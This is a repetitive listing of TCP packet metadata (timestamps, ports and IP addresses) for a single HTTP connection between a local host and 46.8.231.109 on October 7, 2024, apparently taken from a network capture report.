Oct 7, 2024 18:43:12.236681938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236723900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.236746073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.236752987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236763954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236773968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236783981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236794949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236807108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.236854076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.236888885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236901045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236912012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236922026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236932039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236943007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236943960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.236968994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236973047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.236982107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.236993074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237003088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237010002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237020016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237030029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237040997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237057924 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237112999 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237152100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237164021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237174988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237185001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237195969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237207890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237241030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237320900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237361908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237373114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237415075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237416029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237428904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237440109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.237461090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.237502098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.273874998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273886919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273897886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273907900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273925066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273933887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273936987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.273950100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.274009943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317156076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317178011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317189932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317228079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317256927 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317291975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317306995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317317009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317327976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317347050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317347050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317387104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317424059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317439079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317450047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317461014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317472935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317480087 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317492962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317504883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317516088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317517042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317528963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317539930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317543983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317552090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317565918 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317591906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317620039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317631960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317642927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317651987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317670107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317689896 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317713022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317723989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317734003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317745924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317756891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317759037 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317769051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317780972 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317785978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317796946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317807913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317817926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317820072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317832947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.317843914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317867994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.317881107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318067074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318079948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318089008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318099022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318109035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318114042 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318123102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318142891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318151951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318156004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318167925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318171978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318180084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318191051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318201065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318206072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318218946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318231106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318240881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318243980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318254948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318267107 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318289995 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318351984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318368912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318380117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318393946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318397045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318409920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318422079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318422079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318444967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318454981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318456888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318459034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318470955 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318519115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318583965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318608046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318609953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318617105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318628073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318639994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318650007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318658113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318661928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318675041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318680048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318687916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318698883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318701982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318711042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318722010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318727970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318734884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318747044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318747997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318773031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318804979 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.318866968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318881989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318891048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318892002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318900108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318908930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318911076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318960905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.318963051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319003105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319027901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319076061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319083929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319088936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319114923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319132090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319148064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319158077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319169998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319180965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319189072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319211006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319276094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319287062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319298029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319299936 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319308996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319320917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319330931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319331884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319344997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319353104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319355965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319367886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319377899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319396019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319407940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319418907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319427967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319433928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319438934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319451094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319457054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.319511890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.319567919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.357202053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357243061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357254982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357265949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357276917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357287884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357300997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.357458115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.357458115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.406270027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.406286001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.406305075 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.406337023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.406387091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407397032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407408953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407421112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407429934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407439947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407450914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407461882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407465935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407475948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407494068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407501936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407507896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407514095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407522917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407527924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407531977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407536983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407541990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407552958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407557011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407566071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407577991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407588959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407591105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407602072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407612085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407613993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407633066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407643080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407653093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407655001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407665014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407675028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407685041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407696009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407708883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407718897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407718897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407720089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407731056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407743931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407749891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407754898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407771111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407777071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407788992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407797098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407799959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407812119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407819033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407821894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407843113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407845020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407850027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407850981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407857895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407867908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407879114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407890081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407890081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407902002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407944918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407952070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407955885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407968044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407979012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.407988071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.407990932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408023119 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408045053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408052921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408056974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408062935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408068895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408075094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408127069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408221006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408231020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408241987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408252954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408273935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408279896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408287048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408293009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408299923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408307076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408308029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408310890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408313036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408313036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408323050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408334970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408348083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408351898 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408374071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408392906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408420086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408432961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408449888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408461094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408468962 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408473015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408483982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408483982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408497095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408507109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408520937 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408529043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408540010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408550024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408554077 CEST	80	49699	46.8.231.109	192.168.2.7
